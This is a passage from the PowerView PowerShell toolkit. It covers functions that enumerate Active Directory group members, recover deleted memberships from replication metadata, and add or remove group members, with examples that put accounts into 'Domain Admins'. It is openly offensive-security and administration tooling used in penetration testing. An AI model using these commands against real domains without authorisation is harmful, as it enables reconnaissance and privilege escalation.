  11100             if ($PSBoundParameters['RecurseUsingMatchingRule']) {
  11101                 $SearcherArguments['Identity'] = $Identity
  11102                 $SearcherArguments['Raw'] = $True
  11103                 $Group = Get-DomainGroup @SearcherArguments
  11104 
  11105                 if (-not $Group) {
  11106                     Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
  11107                 }
  11108                 else {
  11109                     $GroupFoundName = $Group.properties.item('samaccountname')[0]
  11110                     $GroupFoundDN = $Group.properties.item('distinguishedname')[0]
  11111 
  11112                     if ($PSBoundParameters['Domain']) {
  11113                         $GroupFoundDomain = $Domain
  11114                     }
  11115                     else {
  11116                         # if a domain isn't passed, try to extract it from the found group distinguished name
  11117                         if ($GroupFoundDN) {
  11118                             $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  11119                         }
  11120                     }
  11121                     Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
  11122                     $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
  11123                     $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
  11124                     $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
  11125                 }
  11126                 $Null = $SearcherArguments.Remove('Raw')
  11127             }
  11128             else {
  11129                 $IdentityFilter = ''
  11130                 $Filter = ''
  11131                 $Identity | Where-Object {$_} | ForEach-Object {
  11132                     $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  11133                     if ($IdentityInstance -match '^S-1-') {
  11134                         $IdentityFilter += "(objectsid=$IdentityInstance)"
  11135                     }
  11136                     elseif ($IdentityInstance -match '^CN=') {
  11137                         $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  11138                         if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  11139                             # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  11140                             #   and rebuild the domain searcher
  11141                             $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  11142                             Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  11143                             $SearcherArguments['Domain'] = $IdentityDomain
  11144                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  11145                             if (-not $GroupSearcher) {
  11146                                 Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
  11147                             }
  11148                         }
  11149                     }
  11150                     elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  11151                         $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  11152                         $IdentityFilter += "(objectguid=$GuidByteString)"
  11153                     }
  11154                     elseif ($IdentityInstance.Contains('\')) {
  11155                         $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
  11156                         if ($ConvertedIdentityInstance) {
  11157                             $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
  11158                             $GroupName = $IdentityInstance.Split('\')[1]
  11159                             $IdentityFilter += "(samAccountName=$GroupName)"
  11160                             $SearcherArguments['Domain'] = $GroupDomain
  11161                             Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
  11162                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  11163                         }
  11164                     }
  11165                     else {
  11166                         $IdentityFilter += "(samAccountName=$IdentityInstance)"
  11167                     }
  11168                 }
  11169 
  11170                 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  11171                     $Filter += "(|$IdentityFilter)"
  11172                 }
  11173 
  11174                 if ($PSBoundParameters['LDAPFilter']) {
  11175                     Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
  11176                     $Filter += "$LDAPFilter"
  11177                 }
  11178 
  11179                 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
  11180                 Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
  11181                 try {
  11182                     $Result = $GroupSearcher.FindOne()
  11183                 }
  11184                 catch {
  11185                     Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
  11186                     $Members = @()
  11187                 }
  11188 
  11189                 $GroupFoundName = ''
  11190                 $GroupFoundDN = ''
  11191 
  11192                 if ($Result) {
  11193                     $Members = $Result.properties.item('member')
  11194 
  11195                     if ($Members.count -eq 0) {
  11196                         # ranged searching, thanks @meatballs__ !
  11197                         $Finished = $False
  11198                         $Bottom = 0
  11199                         $Top = 0
  11200 
  11201                         while (-not $Finished) {
  11202                             $Top = $Bottom + 1499
  11203                             $MemberRange="member;range=$Bottom-$Top"
  11204                             $Bottom += 1500
  11205                             $Null = $GroupSearcher.PropertiesToLoad.Clear()
  11206                             $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
  11207                             $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
  11208                             $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
  11209 
  11210                             try {
  11211                                 $Result = $GroupSearcher.FindOne()
  11212                                 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
  11213                                 $Members += $Result.Properties.item($RangedProperty)
  11214                                 $GroupFoundName = $Result.properties.item('samaccountname')[0]
  11215                                 $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
  11216 
  11217                                 if ($Members.count -eq 0) {
  11218                                     $Finished = $True
  11219                                 }
  11220                             }
  11221                             catch [System.Management.Automation.MethodInvocationException] {
  11222                                 $Finished = $True
  11223                             }
  11224                         }
  11225                     }
  11226                     else {
  11227                         $GroupFoundName = $Result.properties.item('samaccountname')[0]
  11228                         $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
  11229                         $Members += $Result.Properties.item($RangedProperty)
  11230                     }
  11231 
  11232                     if ($PSBoundParameters['Domain']) {
  11233                         $GroupFoundDomain = $Domain
  11234                     }
  11235                     else {
  11236                         # if a domain isn't passed, try to extract it from the found group distinguished name
  11237                         if ($GroupFoundDN) {
  11238                             $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  11239                         }
  11240                     }
  11241                 }
  11242             }
  11243 
  11244             ForEach ($Member in $Members) {
  11245                 if ($Recurse -and $UseMatchingRule) {
  11246                     $Properties = $_.Properties
  11247                 }
  11248                 else {
  11249                     $ObjectSearcherArguments = $SearcherArguments.Clone()
  11250                     $ObjectSearcherArguments['Identity'] = $Member
  11251                     $ObjectSearcherArguments['Raw'] = $True
  11252                     $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
  11253                     $Object = Get-DomainObject @ObjectSearcherArguments
  11254                     $Properties = $Object.Properties
  11255                 }
  11256 
  11257                 if ($Properties) {
  11258                     $GroupMember = New-Object PSObject
  11259                     $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
  11260                     $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
  11261                     $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
  11262 
  11263                     if ($Properties.objectsid) {
  11264                         $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
  11265                     }
  11266                     else {
  11267                         $MemberSID = $Null
  11268                     }
  11269 
  11270                     try {
  11271                         $MemberDN = $Properties.distinguishedname[0]
  11272                         if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
  11273                             try {
  11274                                 if (-not $MemberSID) {
  11275                                     $MemberSID = $Properties.cn[0]
  11276                                 }
  11277                                 $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
  11278 
  11279                                 if ($MemberSimpleName) {
  11280                                     $MemberDomain = $MemberSimpleName.Split('@')[1]
  11281                                 }
  11282                                 else {
  11283                                     Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
  11284                                     $MemberDomain = $Null
  11285                                 }
  11286                             }
  11287                             catch {
  11288                                 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
  11289                                 $MemberDomain = $Null
  11290                             }
  11291                         }
  11292                         else {
  11293                             # extract the FQDN from the Distinguished Name
  11294                             $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  11295                         }
  11296                     }
  11297                     catch {
  11298                         $MemberDN = $Null
  11299                         $MemberDomain = $Null
  11300                     }
  11301 
  11302                     if ($Properties.samaccountname) {
  11303                         # forest users have the samAccountName set
  11304                         $MemberName = $Properties.samaccountname[0]
  11305                     }
  11306                     else {
  11307                         # external trust users have a SID, so convert it
  11308                         try {
  11309                             $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
  11310                         }
  11311                         catch {
  11312                             # if there's a problem contacting the domain to resolve the SID
  11313                             $MemberName = $Properties.cn[0]
  11314                         }
  11315                     }
  11316 
  11317                     if ($Properties.objectclass -match 'computer') {
  11318                         $MemberObjectClass = 'computer'
  11319                     }
  11320                     elseif ($Properties.objectclass -match 'group') {
  11321                         $MemberObjectClass = 'group'
  11322                     }
  11323                     elseif ($Properties.objectclass -match 'user') {
  11324                         $MemberObjectClass = 'user'
  11325                     }
  11326                     else {
  11327                         $MemberObjectClass = $Null
  11328                     }
  11329                     $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
  11330                     $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
  11331                     $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
  11332                     $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
  11333                     $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
  11334                     $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
  11335                     $GroupMember
  11336 
  11337                     # if we're doing manual recursion
  11338                     if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
  11339                         Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
  11340                         $SearcherArguments['Identity'] = $MemberDN
  11341                         $Null = $SearcherArguments.Remove('Properties')
  11342                         Get-DomainGroupMember @SearcherArguments
  11343                     }
  11344                 }
  11345             }
  11346             $GroupSearcher.dispose()
  11347         }
  11348     }
  11349 }
  11350 
  11351 
  11352 function Get-DomainGroupMemberDeleted {
  11353 <#
  11354 .SYNOPSIS
  11355 
  11356 Returns information on group members that were removed from the specified
  11357 group identity. Accomplished by searching the linked attribute replication
  11358 metadata for the group using Get-DomainObjectLinkedAttributeHistory.
  11359 
  11360 Author: Will Schroeder (@harmj0y)  
  11361 License: BSD 3-Clause  
  11362 Required Dependencies: Get-DomainObjectLinkedAttributeHistory
  11363 
  11364 .DESCRIPTION
  11365 
  11366 Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute
  11367 replication metadata for the specified group. These are cases where the
  11368 'Version' attribute of group member in the replication metadata is even.
  11369 
  11370 .PARAMETER Identity
  11371 
  11372 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
  11373 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
  11374 Wildcards accepted.
  11375 
  11376 .PARAMETER Domain
  11377 
  11378 Specifies the domain to use for the query, defaults to the current domain.
  11379 
  11380 .PARAMETER LDAPFilter
  11381 
  11382 Specifies an LDAP query string that is used to filter Active Directory objects.
  11383 
  11384 .PARAMETER SearchBase
  11385 
  11386 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  11387 Useful for OU queries.
  11388 
  11389 .PARAMETER Server
  11390 
  11391 Specifies an Active Directory server (domain controller) to bind to.
  11392 
  11393 .PARAMETER SearchScope
  11394 
  11395 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  11396 
  11397 .PARAMETER ResultPageSize
  11398 
  11399 Specifies the PageSize to set for the LDAP searcher object.
  11400 
  11401 .PARAMETER ServerTimeLimit
  11402 
  11403 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  11404 
  11405 .PARAMETER Tombstone
  11406 
  11407 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  11408 
  11409 .PARAMETER Credential
  11410 
  11411 A [Management.Automation.PSCredential] object of alternate credentials
  11412 for connection to the target domain.
  11413 
  11414 .EXAMPLE
  11415 
  11416 Get-DomainGroupMemberDeleted | Group-Object GroupDN
  11417 
  11418 Count Name                      Group
  11419 ----- ----                      -----
  11420     2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...
  11421     3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t...
  11422 
  11423 .EXAMPLE
  11424 
  11425 Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local
  11426 
  11427 
  11428 GroupDN               : CN=Domain Admins,CN=Users,DC=testlab,DC=local
  11429 MemberDN              : CN=testuser,CN=Users,DC=testlab,DC=local
  11430 TimeFirstAdded        : 2017-06-13T23:07:43Z
  11431 TimeDeleted           : 2017-06-13T23:26:17Z
  11432 LastOriginatingChange : 2017-06-13T23:26:17Z
  11433 TimesAdded            : 2
  11434 LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
  11435                         -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
  11436                         l
  11437 
  11438 GroupDN               : CN=Domain Admins,CN=Users,DC=testlab,DC=local
  11439 MemberDN              : CN=dfm,CN=Users,DC=testlab,DC=local
  11440 TimeFirstAdded        : 2017-06-13T22:20:02Z
  11441 TimeDeleted           : 2017-06-13T23:26:17Z
  11442 LastOriginatingChange : 2017-06-13T23:26:17Z
  11443 TimesAdded            : 5
  11444 LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
  11445                         -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
  11446                         l
  11447 
  11448 .OUTPUTS
  11449 
  11450 PowerView.DomainGroupMemberDeleted
  11451 
  11452 Custom PSObject with translated replication metadata fields.
  11453 
  11454 .LINK
  11455 
  11456 https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
  11457 #>
  11458 
  11459     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  11460     [OutputType('PowerView.DomainGroupMemberDeleted')]
  11461     [CmdletBinding()]
  11462     Param(
  11463         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  11464         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  11465         [String[]]
  11466         $Identity,
  11467 
  11468         [ValidateNotNullOrEmpty()]
  11469         [String]
  11470         $Domain,
  11471 
  11472         [ValidateNotNullOrEmpty()]
  11473         [Alias('Filter')]
  11474         [String]
  11475         $LDAPFilter,
  11476 
  11477         [ValidateNotNullOrEmpty()]
  11478         [Alias('ADSPath')]
  11479         [String]
  11480         $SearchBase,
  11481 
  11482         [ValidateNotNullOrEmpty()]
  11483         [Alias('DomainController')]
  11484         [String]
  11485         $Server,
  11486 
  11487         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  11488         [String]
  11489         $SearchScope = 'Subtree',
  11490 
  11491         [ValidateRange(1, 10000)]
  11492         [Int]
  11493         $ResultPageSize = 200,
  11494 
  11495         [ValidateRange(1, 10000)]
  11496         [Int]
  11497         $ServerTimeLimit,
  11498 
  11499         [Switch]
  11500         $Tombstone,
  11501 
  11502         [Management.Automation.PSCredential]
  11503         [Management.Automation.CredentialAttribute()]
  11504         $Credential = [Management.Automation.PSCredential]::Empty,
  11505 
  11506         [Switch]
  11507         $Raw
  11508     )
  11509 
  11510     BEGIN {
  11511         $SearcherArguments = @{
  11512             'Properties'    =   'msds-replvaluemetadata','distinguishedname'
  11513             'Raw'           =   $True
  11514             'LDAPFilter'    =   '(objectCategory=group)'
  11515         }
  11516         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  11517         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
  11518         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  11519         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  11520         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  11521         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  11522         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  11523         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  11524         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  11525     }
  11526 
  11527     PROCESS {
  11528         if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
  11529 
  11530         Get-DomainObject @SearcherArguments | ForEach-Object {
  11531             $ObjectDN = $_.Properties['distinguishedname'][0]
  11532             ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
  11533                 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
  11534                 if ($TempObject) {
  11535                     if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) {
  11536                         $Output = New-Object PSObject
  11537                         $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
  11538                         $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn
  11539                         $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated
  11540                         $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
  11541                         $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
  11542                         $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2)
  11543                         $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
  11544                         $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted')
  11545                         $Output
  11546                     }
  11547                 }
  11548                 else {
  11549                     Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
  11550                 }
  11551             }
  11552         }
  11553     }
  11554 }
  11555 
  11556 
  11557 function Add-DomainGroupMember {
  11558 <#
  11559 .SYNOPSIS
  11560 
  11561 Adds a domain user (or group) to an existing domain group, assuming
  11562 appropriate permissions to do so.
  11563 
  11564 Author: Will Schroeder (@harmj0y)  
  11565 License: BSD 3-Clause  
  11566 Required Dependencies: Get-PrincipalContext  
  11567 
  11568 .DESCRIPTION
  11569 
  11570 First binds to the specified domain context using Get-PrincipalContext.
  11571 The bound domain context is then used to search for the specified -GroupIdentity,
  11572 which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
  11573 each entry in -Members, each member identity is similarly searched for and added
  11574 to the group.
  11575 
  11576 .PARAMETER Identity
  11577 
  11578 A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
  11579 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
  11580 specifying the group to add members to.
  11581 
  11582 .PARAMETER Members
  11583 
  11584 One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
  11585 (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
  11586 or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
  11587 
  11588 .PARAMETER Domain
  11589 
  11590 Specifies the domain to use to search for user/group principals, defaults to the current domain.
  11591 
  11592 .PARAMETER Credential
  11593 
  11594 A [Management.Automation.PSCredential] object of alternate credentials
  11595 for connection to the target domain.
  11596 
  11597 .EXAMPLE
  11598 
  11599 Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
  11600 
  11601 Adds harmj0y to 'Domain Admins' in the current domain.
  11602 
  11603 .EXAMPLE
  11604 
  11605 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  11606 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  11607 Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
  11608 
  11609 Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
  11610 
  11611 .EXAMPLE
  11612 
  11613 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  11614 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  11615 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  11616 New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
  11617 
  11618 Creates the 'andy' user with the specified description and password, using the specified
  11619 alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
  11620 and the alternate credentials.
  11621 
  11622 .LINK
  11623 
  11624 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
  11625 #>
  11626 
  11627     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  11628     [CmdletBinding()]
  11629     Param(
  11630         [Parameter(Position = 0, Mandatory = $True)]
  11631         [Alias('GroupName', 'GroupIdentity')]
  11632         [String]
  11633         $Identity,
  11634 
  11635         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  11636         [Alias('MemberIdentity', 'Member', 'DistinguishedName')]
  11637         [String[]]
  11638         $Members,
  11639 
  11640         [ValidateNotNullOrEmpty()]
  11641         [String]
  11642         $Domain,
  11643 
  11644         [Management.Automation.PSCredential]
  11645         [Management.Automation.CredentialAttribute()]
  11646         $Credential = [Management.Automation.PSCredential]::Empty
  11647     )
  11648 
  11649     BEGIN {
  11650         $ContextArguments = @{
  11651             'Identity' = $Identity
  11652         }
  11653         if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
  11654         if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
  11655 
  11656         $GroupContext = Get-PrincipalContext @ContextArguments
  11657 
  11658         if ($GroupContext) {
  11659             try {
  11660                 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
  11661             }
  11662             catch {
  11663                 Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_"
  11664             }
  11665         }
  11666     }
  11667 
  11668     PROCESS {
  11669         if ($Group) {
  11670             ForEach ($Member in $Members) {
  11671                 if ($Member -match '.+\\.+') {
  11672                     $ContextArguments['Identity'] = $Member
  11673                     $UserContext = Get-PrincipalContext @ContextArguments
  11674                     if ($UserContext) {
  11675                         $UserIdentity = $UserContext.Identity
  11676                     }
  11677                 }
  11678                 else {
  11679                     $UserContext = $GroupContext
  11680                     $UserIdentity = $Member
  11681                 }
  11682                 Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'"
  11683                 $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
  11684                 $Group.Members.Add($Member)
  11685                 $Group.Save()
  11686             }
  11687         }
  11688     }
  11689 }
  11690 
  11691 
  11692 function Remove-DomainGroupMember {
  11693 <#
  11694 .SYNOPSIS
  11695 
  11696 Removes a domain user (or group) from an existing domain group, assuming
  11697 appropriate permissions to do so.
  11698 
  11699 Author: Will Schroeder (@harmj0y)  
  11700 License: BSD 3-Clause  
  11701 Required Dependencies: Get-PrincipalContext  
  11702 
  11703 .DESCRIPTION
  11704 
  11705 First binds to the specified domain context using Get-PrincipalContext.
  11706 The bound domain context is then used to search for the specified -GroupIdentity,
  11707 which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
  11708 each entry in -Members, each member identity is similarly searched for and removed
  11709 from the group.
  11710 
  11711 .PARAMETER Identity
  11712 
  11713 A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
  11714 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
  11715 specifying the group to remove members from.
  11716 
  11717 .PARAMETER Members
  11718 
  11719 One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
  11720 (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
  11721 or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
  11722 
  11723 .PARAMETER Domain
  11724 
  11725 Specifies the domain to use to search for user/group principals, defaults to the current domain.
  11726 
  11727 .PARAMETER Credential
  11728 
  11729 A [Management.Automation.PSCredential] object of alternate credentials
  11730 for connection to the target domain.
  11731 
  11732 .EXAMPLE
  11733 
  11734 Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
  11735 
  11736 Removes harmj0y from 'Domain Admins' in the current domain.
  11737 
  11738 .EXAMPLE
  11739 
  11740 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  11741 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  11742 Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
  11743 
  11744 Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials.
  11745 
  11746 .LINK
  11747 
  11748 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
  11749 #>
  11750 
  11751     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  11752     [CmdletBinding()]
  11753     Param(
  11754         [Parameter(Position = 0, Mandatory = $True)]
  11755         [Alias('GroupName', 'GroupIdentity')]
  11756         [String]
  11757         $Identity,
  11758 
  11759         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  11760         [Alias('MemberIdentity', 'Member', 'DistinguishedName')]
  11761         [String[]]
  11762         $Members,
  11763 
  11764         [ValidateNotNullOrEmpty()]
  11765         [String]
  11766         $Domain,
  11767 
  11768         [Management.Automation.PSCredential]
  11769         [Management.Automation.CredentialAttribute()]
  11770         $Credential = [Management.Automation.PSCredential]::Empty
  11771     )
  11772 
  11773     BEGIN {
  11774         $ContextArguments = @{
  11775             'Identity' = $Identity
  11776         }
  11777         if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
  11778         if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
  11779 
  11780         $GroupContext = Get-PrincipalContext @ContextArguments
  11781 
  11782         if ($GroupContext) {
  11783             try {
  11784                 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
  11785             }
  11786             catch {
  11787                 Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_"
  11788             }
  11789         }
  11790     }
  11791 
  11792     PROCESS {
  11793         if ($Group) {
  11794             ForEach ($Member in $Members) {
  11795                 if ($Member -match '.+\\.+') {
  11796                     $ContextArguments['Identity'] = $Member
  11797                     $UserContext = Get-PrincipalContext @ContextArguments
  11798                     if ($UserContext) {
  11799                         $UserIdentity = $UserContext.Identity
  11800                     }
  11801                 }
  11802                 else {
  11803                     $UserContext = $GroupContext
  11804                     $UserIdentity = $Member
  11805                 }
  11806                 Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'"
  11807                 $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
  11808                 $Group.Members.Remove($Member)
  11809                 $Group.Save()
  11810             }
  11811         }
  11812     }
  11813 }
  11814 
  11815 
  11816 function Get-DomainFileServer {
  11817 <#
  11818 .SYNOPSIS
  11819 
  11820 Returns a list of servers likely functioning as file servers.
  11821 
  11822 Author: Will Schroeder (@harmj0y)  
  11823 License: BSD 3-Clause  
  11824 Required Dependencies: Get-DomainSearcher  
  11825 
  11826 .DESCRIPTION
  11827 
  11828 Returns a list of likely fileservers by searching for all users in Active Directory
  11829 with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying
  11830 the server names.
  11831 
  11832 .PARAMETER Domain
  11833 
  11834 Specifies the domain to use for the query, defaults to the current domain.
  11835 
  11836 .PARAMETER LDAPFilter
  11837 
  11838 Specifies an LDAP query string that is used to filter Active Directory objects.
  11839 
  11840 .PARAMETER SearchBase
  11841 
  11842 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  11843 Useful for OU queries.
  11844 
  11845 .PARAMETER Server
  11846 
  11847 Specifies an Active Directory server (domain controller) to bind to.
  11848 
  11849 .PARAMETER SearchScope
  11850 
  11851 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  11852 
